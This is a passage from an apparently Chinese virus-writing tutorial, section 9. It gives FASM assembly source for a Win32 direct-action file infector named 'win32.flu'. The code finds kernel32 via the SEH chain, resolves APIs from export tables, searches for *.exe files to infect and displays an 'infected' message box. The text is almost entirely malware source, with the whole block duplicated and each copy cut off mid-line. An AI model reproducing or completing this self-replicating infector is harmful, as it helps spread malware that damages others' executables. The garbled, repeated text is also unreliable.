9、实现一个最简单的病毒
-----------------------
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 :P
嗯...有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧:
format PE GUI 4.0
entry _vStart
include 'useful.inc'
virtual at esi
vMZ_esi IMAGE_DOS_HEADER
end virtual
virtual at esi
vFH_esi IMAGE_FILE_HEADER
end virtual
virtual at esi
vOH_esi IMAGE_OPTIONAL_HEADER
end virtual
.coderwe
_vStart:
call delta
delta: pop ebp
call _get_krnl
or edi,edi
jz jmp_host
xchg edi,edx
lea esi,[ebp+api_namez-delta]
lea edi,[ebp+api_addrz-delta]
get_apiz: call _get_apiz
or eax,eax
jz apiz_end
stosd
jmp get_apiz
wfd WIN32_FIND_DATA
apiz_end:
cmp ebp,delta ; is this the origin virus?
jz infect_filez
@pushsz 'user32.dll'
call [ebp+__addr_LoadLibraryA-delta]
or eax,eax
jz jmp_host
xchg eax,edx
@pushsz 'MessageBoxA'
pop esi
call _get_apiz
xor esi,esi
@call eax,esi,'This file has been infected... :P','win32.flu',esi
call infect_filez
jmp jmp_host
infect_filez:
lea eax,[ebp+wfd-delta]
push eax
@pushsz '*.exe'
call [ebp+__addr_FindFirstFileA-delta]
inc eax
jz jmp_host
dec eax
mov dword [ebp+hFindFile-delta],eax
next_file: lea esi,[ebp+wfd.WFD_szFileName-delta]
call _infect_file
lea eax,[ebp+wfd-delta]
push eax
push 12345678h
hFindFile = $-4
call [ebp+__addr_FindNextFileA-delta]
or eax,eax
jnz next_file
push dword [hFindFile]
call [ebp+__addr_FindClose-delta]
ret
; get kernel32.dll image base...
_get_krnl:
@SEH_SetupFrame <jmp seh_handler>
mov esi,[fs:0]
visit_seh: lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl: lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe: dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
seh_handler:
xor edi,edi ; base not found
krnl_found:
@SEH_RemoveFrame
ret
; get apiz using in virus codez...
_get_apiz:
pushad
xor eax,eax
cmp byte [esi],0
jz ret_value
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
mov dword [vPushad_ptr.Pushad_esi+08h],edi
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return: add esp,14h
ret_value: mov [vPushad_ptr.Pushad_eax],eax
popad
&n
-----------------------
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 :P
嗯...有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧:
format PE GUI 4.0
entry _vStart
include 'useful.inc'
virtual at esi
vMZ_esi IMAGE_DOS_HEADER
end virtual
virtual at esi
vFH_esi IMAGE_FILE_HEADER
end virtual
virtual at esi
vOH_esi IMAGE_OPTIONAL_HEADER
end virtual
.coderwe
_vStart:
call delta
delta: pop ebp
call _get_krnl
or edi,edi
jz jmp_host
xchg edi,edx
lea esi,[ebp+api_namez-delta]
lea edi,[ebp+api_addrz-delta]
get_apiz: call _get_apiz
or eax,eax
jz apiz_end
stosd
jmp get_apiz
wfd WIN32_FIND_DATA
apiz_end:
cmp ebp,delta ; is this the origin virus?
jz infect_filez
@pushsz 'user32.dll'
call [ebp+__addr_LoadLibraryA-delta]
or eax,eax
jz jmp_host
xchg eax,edx
@pushsz 'MessageBoxA'
pop esi
call _get_apiz
xor esi,esi
@call eax,esi,'This file has been infected... :P','win32.flu',esi
call infect_filez
jmp jmp_host
infect_filez:
lea eax,[ebp+wfd-delta]
push eax
@pushsz '*.exe'
call [ebp+__addr_FindFirstFileA-delta]
inc eax
jz jmp_host
dec eax
mov dword [ebp+hFindFile-delta],eax
next_file: lea esi,[ebp+wfd.WFD_szFileName-delta]
call _infect_file
lea eax,[ebp+wfd-delta]
push eax
push 12345678h
hFindFile = $-4
call [ebp+__addr_FindNextFileA-delta]
or eax,eax
jnz next_file
push dword [hFindFile]
call [ebp+__addr_FindClose-delta]
ret
; get kernel32.dll image base...
_get_krnl:
@SEH_SetupFrame <jmp seh_handler>
mov esi,[fs:0]
visit_seh: lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl: lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe: dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
seh_handler:
xor edi,edi ; base not found
krnl_found:
@SEH_RemoveFrame
ret
; get apiz using in virus codez...
_get_apiz:
pushad
xor eax,eax
cmp byte [esi],0
jz ret_value
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
mov dword [vPushad_ptr.Pushad_esi+08h],edi
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return: add esp,14h
ret_value: mov [vPushad_ptr.Pushad_eax],eax
popad
&n